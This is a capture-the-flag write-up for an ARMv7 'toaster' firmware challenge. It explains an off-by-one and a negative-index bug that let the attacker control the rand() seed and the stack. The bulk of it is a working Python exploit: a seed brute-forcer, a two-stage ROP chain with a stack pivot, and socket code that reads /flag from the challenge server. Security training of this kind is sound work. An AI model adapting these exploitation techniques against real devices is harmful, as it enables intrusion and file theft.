This painful task simulates an embedded toaster firmware that you have to pwn by using the random generator output. The used architecture is ARMv7.
We are given a compiled executable toasted
that is statically linked but
(thankfully) includes symbol names. The two main functions open /dev/urandom
to generate a ghetto-version of a stack cookie as well as the seed used for
srandom
. The smart toaster will only let you in if you supply the correct
password and then lets you toast bread in one of its 256 slots:
int main(int argc, const char **argv, const char **envp)
{
int seed, debug;
char bread[256];
char pass[32];
int fd, cookie;
debug = 0;
setvbuf(stdout, 0, 2, 0);
memset(bread, 0, 256);
if (argc > 1)
debug = 1;
fd = open("/dev/urandom", 0);
read(fd, (unsigned __int8 *)&gcanary, 4u);
cookie = gcanary;
puts("Welcome to Internet of Toaster!\n" \
"Featuring \"Random Heat Distribution\" (patent pending)");
checkpass(pass);
printf("This next-gen toaster allows for %d slices of bread !\n", 256);
puts("It also has a small tank of replacement bread if you burn one, " \
"which is a huge improvement over the netbsd-based models!");
read(fd, (unsigned __int8 *)&seed, 4u);
srandom(seed);
handle_bread(bread, debug);
puts("Well, you've had your toasting frenzy!\nCheers");
if (cookie != gcanary)
exit(-1);
return 0;
}
After a brief search we spot two bugs within the firmware. One is a
off-by-one error in checkpass
:
int checkpass(char *passbuf)
{
int cookie, len;
cookie = gcanary;
printf("Passphrase : ");
len = read(0, passbuf, 0x20u);
if (len < 0)
exit(-1);
passbuf[len] = 0;
if (strcmp(gpassw, passbuf)) {
puts("Access denied!\nNo toast today :-(");
exit(-1);
}
if (cookie != gcanary)
exit(0);
return puts("Access granted!");
}
The passed buffer (passbuf
) resides in main
’s stack frame and only has a length of
32 bytes. If read
reads the full 0x20 bytes, len will become 0x20 and what
intended to be a forced zero-termination of the string (passbuf[len] = 0
)
turns into a zero byte overwrite of the byte behind the buffer. Looking into the
main stack frame we see that the next variable behind pass
buffer is fd
.
This effectively lets us control seed
as its value is not read from the fd
of
/dev/urandom
but from fd = 0
(stdin
). Satisfying the strcmp
is not a huge
problem as gpassw
is hard-coded to How Large Is A Stack Of Toast?\n
.
Fine. We can control the “randomness” from here on, but this alone doesn’t help
us much. Remember the task description said we should make the firmware
directly read in a file called /flag
. Let’s see what role the randomness plays in the
process of toasting bread. :)
int handle_bread(unsigned __int8 *bread, int dbg)
{
int ret, num;
unsigned int uinput, transrand;
int cookie, i;
i = 0;
cookie = gcanary;
do
{
if (overheat == 4)
return puts("The bread reserve tank is empty... Quitting");
if (dbg) {
puts("Bread status: ");
show_bread(bread);
}
puts("Which slice do you want to heat?");
ret = read(0, (unsigned __int8 *)&uinput, 4);
if ((unsigned __int8)uinput == 'q' || (unsigned __int8)uinput == 'x')
return ret;
ret = sscanf(&uinput, "%d", &num);
if (ret && num <= 255) {
printf("Toasting %d!\n", num);
transrand = bread[num] + rand() % 256;
if (transrand <= 256) {
bread[num] = transrand;
} else {
puts("Detected bread overheat, replacing");
bread[num] = 0;
++overheat;
}
++i;
}
}
while (i <= 259);
if (cookie != gcanary)
exit(-1);
return ret;
}
The toast loop basically asks for a slice number smaller than 256 to toast and
adds a random value to the corresponding byte in the bread
array. If we cross a
8bit boundary at any time, this is counted as overheating and the slot is reset
to 0. If we overheat the toaster more than four times we get kicked out. The
mistake in this code is again easy to spot: While there is an upper boundary to
the slice number, the device forgets to check that the supplied number is
actually positive. This gives us an arbitrary increment of the bytes residing
before the bread
array (at lower addresses). Because the bread
array is also
allocated on the stack frame of the main
function, we “control” the return
address on the stack. Note the quotes though, as we are only able to add random
values to the return address.
While identifying the bugs was only a matter of minutes, we got stuck performing
the actual exploitation for a very long time. As explained earlier, we control the seed for
the random number generator and therefore the values returned by rand()
become
completely deterministic. A huge problem for exploitation is the while
(i <= 259)
part that forces all bytes of our rop chain / shellcode to be
generated by at most 260 calls to rand()
. This probability significantly
decreases with increasing rop chain / shellcode length. To give you a brief
summary of our failures:
rand()
sequence when bruteforcing the seedqemu-user
open
, read
, write
and fail, because it is still too long as you can’t find a matching seed
What actually worked was then the following:
The resulting exploit Python script monster can be found below. The
enable_debug
function was there for earlier purposes as it provided a
comfortable means for checking the current state of the bread by activating
debug
and calling into main
again. Please refer to the inline comments for
details on how the exploit works (including the random-bruter/solver).
#!/usr/bin/env python3
import socket
import struct
import subprocess
import time
import copy
p32 = lambda x: struct.pack('<l', x)
def recv_until(s):
tmp = b''
while s not in tmp:
tmp += sock.recv(1)
return tmp
def enable_debug():
seed = 0x5fdc
recv_until(b'Passphrase : ')
## pwn check_passphrase
sock.send(b'How Large Is A Stack Of Toast?\n\x00')
## send our own seed
sock.send(p32(seed))
recv_until(b'Which slice do you want to heat?')
sock.send('{:d}\n'.format(-0x14).encode())
sock.send('{:d}\n'.format(-0x14).encode())
sock.send('{:d}\n'.format(-0x13).encode())
sock.send('{:d}\n'.format(-0x13).encode())
sock.send('{:d}\n'.format(-0x4).encode())
## trigger 1-gadget rop chain to call main again
recv_until(b'Which slice do you want to heat?')
sock.send(b'x\n')
pop_3_7f = 0x0a9c9
pop_r04f = 0x10a8c
pop_r7pc = 0x08ccb
pop_r1pc = 0x4ad0b
pop_r23 = 0x4acfb
set_regs = 0x328bc
bss_flag = 0x6bf00
txt_read = 0x11730
txt_open = 0x11610
txt_writ = 0x2c3f0
set_stck = 0x08cc9
"""
stage 1 rop chain, small enough to comply to the rules of the rand() game
"""
pwn = b''
## Return address of the current stack frame is -0x14 bytes from the bread.
## Skip over the values between the underflowing buffer and the return address
## as they contain varying values. Hey, we get 0s for free, so who cares anyway?
pwn += p32(pop_3_7f)
pwn += p32(0)
pwn += p32(0)
pwn += p32(0)
pwn += p32(0)
pwn += p32(0)
pwn += p32(pop_r04f) ## set r0 to point to the next gadget (see below)
pwn += p32(txt_read) ## we want to call read() (thx for linking statically!)
pwn += p32(0) ## r4 (don't care)
pwn += p32(set_regs) ## this beaty is a mov r12, r0; pop {r0-r4, lr}; bx r12
## and also the reason why we have to set r0 before.
## pop_r04f and set_regs together provide a perfect
## primitive to call arbitrary functions with arbitrary
## parameters
pwn += p32(0) ## r0 (stdin)
pwn += p32(bss_flag) ## r1 (some r/w address to place our new rop chain)
pwn += p32(0x300) ## r2 (0x300 because 0x1 and 0x2 didn't occor in the
## rand() sequence ;)
pwn += p32(0) ## r3 (don't care)
pwn += p32(0) ## r4 (don't care)
## Fuck this shit, we stackpivot!
pwn += p32(pop_r7pc) ## pop {r7, pc}
pwn += p32(bss_flag) ## location of our new stack
pwn += p32(set_stck) ## mov sp, r7; pop {r7, pc}
## Wheeee, finally, a rop chain without the silly rand() <3
## The next two gadgets are poped by the gadget above, already using the new
## stack. (potential pitfall ;) )
stage2 = b''
stage2 += p32(bss_flag) ## new r7 (fptr)
stage2 += p32(pop_r04f) ## use our set r0; set regs; call libfunc again
stage2 += p32(txt_read) ## we want a read() again to read in the filename
stage2 += p32(0)
stage2 += p32(set_regs)
stage2 += p32(0) ## r0 (stdin)
stage2 += p32(bss_flag) ## r1 (overwrite the beginning of the chain with the
## filename we want to read, we don't need it anymore)
stage2 += p32(0x6) ## r2 (len)
stage2 += p32(0) ## r3 (don't care)
stage2 += p32(0) ## r4 (don't care)
stage2 += p32(pop_r04f) ## lr (next gadget)
stage2 += p32(txt_open) ## now call open with the filename we just read in
stage2 += p32(0) ## r4 (don't care)
stage2 += p32(set_regs)
stage2 += p32(bss_flag) ## r0 (filename)
stage2 += p32(0) ## r1 (flags O_RDONLY, pls don't get killed because
## the flag file might potentially not be writable ;) )
stage2 += p32(0) ## r2 (don't care)
stage2 += p32(0) ## r3 (don't care)
stage2 += p32(0) ## r4 (don't care)
stage2 += p32(pop_r1pc) ## lr (set ONLY r1 this time, as r0 now contains the
## fd of the newly opened file. We could hard code it
## to 4, but it doesn't make our life much worse to
## keep it dynamic.)
stage2 += p32(bss_flag) ## r1 (overwrite the filename with the file contents)
stage2 += p32(pop_r23) ## set r2 and r3 without touching r0 for the same rason
stage2 += p32(0x40) ## r2
stage2 += p32(0) ## r3
stage2 += p32(bss_flag) ## r1
stage2 += p32(txt_read) ## read in flag !!! :)
stage2 += p32(bss_flag) ## r1
stage2 += p32(pop_r04f)
stage2 += p32(txt_writ) ## and plz also send it to us ._.
stage2 += p32(0)
stage2 += p32(set_regs) ## awesome primitive (see above) for the last time
stage2 += p32(1) ## r0 socket
stage2 += p32(bss_flag) ## r1 flagaddr
stage2 += p32(0x40) ## r2 len
stage2 += p32(0) ## r3
stage2 += p32(0) ## r4
stage2 += p32(pop_r04f) ## lr (next gadget)
pwn = bytearray(pwn)
## Now, on to the random cracking. In principle we know how the memory looks
## like at the time of the overflow: At bread-0x14 we have the return address
## that points to 0x8c93 which we want to overwrite with the first gadget of
## stage1. The four 32bit int between bread-0x10 and bread-0x0 we consider
## "unstable" and are therefore poped by the first gadget. Everything within
## bread is zero (that's also why we wrote "zeroes are for free" above). So, to
## account for the initial values in RAM, we only have to adjust the first two
## bytes of our rop chain:
pwn[0] -= 0x93
pwn[1] -= 0x8c
## The following is a brute forcer that basically just looks for a seed that
## produces all bytes that we need for stage 1. Please note that our python
## skillz usually are not as sucky as below but you know ... in the heat of the
## moment, you don't actually care to write beautiful code rather than an ugly,
## just-damn-work-exploit. :)
pos = {i: [] for i in range(0x100) }
cs = bytearray(0x100)
for i, b in enumerate(pwn):
if b == 0: continue
cs[b] += 1
pos[b].append(i)
pos = dict((k, v) for k, v in pos.items() if v)
print("\x1b[39m[+] Searching suited seed ...")
seed = 0x232d
mindiff = 1000
idx = {}
for seed in range(seed, 0x10000):
print('[.] Trying 0x{:x} ... '.format(seed), end='')
## fyi, ./rand is just a compiled C helper program that spits out the 259
## glibc random values that will be produced for a certain seed (argv[1])
## #define _DEFAULT_SOURCE
##
## #include <stdio.h>
## #include <stdlib.h>
##
## int main(int argc, char **argv)
## {
## if (argc != 2)
## return -1;
## srandom(atoi(argv[1]));
## for (int i = 0; i < 259; i++)
## printf("%x ", rand());
## puts("");
## }
p = subprocess.Popen(['./rand', str(seed)], stdout=subprocess.PIPE)
rs = list(map(lambda x: int(x, 16) & 0xff, p.stdout.readline().decode().strip().split(' ')))
maxidx = 0
tmpcnt = list(cs)
tmppos = copy.deepcopy(pos)
idx = {}
for i, r in enumerate(rs):
if tmpcnt[r] > 0:
idx[i] = tmppos[r][0]
tmppos[r] = tmppos[r][1:]
maxidx = max(i, maxidx)
tmpcnt[r] -= 1
mindiff = min(sum(tmpcnt), mindiff)
print('diff is {} mindiff is {} (missing '.format(sum(tmpcnt), mindiff), end='')
for i, t in enumerate(tmpcnt):
if t > 0:
print('{:x} '.format(i), end='')
print(')')
## We found a seed, stop right here!
if sum(tmpcnt) == 0: break
print('[+] Found seed 0x{:x} (maxidx {})!'.format(seed, maxidx))
print('[+] Exploiting ...')
## Yay, we now have a dict (idx) from rop chain offsets (spatial domain) to
## offsets in the chain of values produces by the rand() chain (time domain).
## Use this to "program" the toaster at the remote end
sock = socket.socket()
sock.connect(('toasted.insomnihack.ch', 7200))
recv_until(b'Passphrase : ')
## pwn check_passphrase (off by one)
sock.send(b'How Large Is A Stack Of Toast?\n\x00')
## send our own seed
sock.send(p32(seed))
i = 0
## Yeaaah, the rubbush thingy ... We need this one to "equally" distribute the
## garbage values that the rand() chain produces but we don't need for our rop
## chain on the second half of the bread array. (Stage1 fits into less than 64
## bytes, the offset is chosen more or less arbitrarily.)
ruboff = 64
rubbish = [ 0 for _ in range(128) ]
## While there's sill something important missing from our rop chain
while len(idx) > 0:
recv_until(b'Which slice do you want to heat?')
if len(idx) > 0 and i in idx:
print('\x1b[32m0x{:02x} -> 0x{:02x}\x1b[39m'.format(idx[i], rs[i]))
## Subtract -0x14 because our rop chain starts there (see above)
sock.send('{:d}\n'.format(idx[i] - 0x14).encode())
idx.pop(i, None)
else:
## If we don't need the value for the chain, write it into the "rubbish"
## part of the bread array at a spot where it doesn't cause the toaster
## to overheat (freaking annoying, sadists they are -.-" )
for j, rub in enumerate(rubbish):
if rub + rs[i] < 0x100:
break
rubbish[j] += rs[i]
print('\x1b[31m0x{:02x} -> 0x{:02x}\x1b[39m'.format(ruboff + j, rs[i]))
sock.send('{:d}\n'.format(ruboff + j).encode())
i += 1
## trigger rop chain
recv_until(b'Which slice do you want to heat?')
sock.send(b'x\n')
## The rop chain asks for more input that it will switch control to, so we
## gracefully feed it our second stage. :)
sock.send(stage2)
input("[+] Sent stage2. Waiting for key press ...")
time.sleep(1)
## The second stage asks for the name of the file whose contents you want to
## have delivered. We prefer to get the flag, this time. :)
sock.send(b'/flag\x00')
## Leave the network some time ..
time.sleep(1)
## ... and print the file contents.
print(sock.recv(128))
## flag: INS{_-n0_pa1n_n0_ga1n-_}
## :))))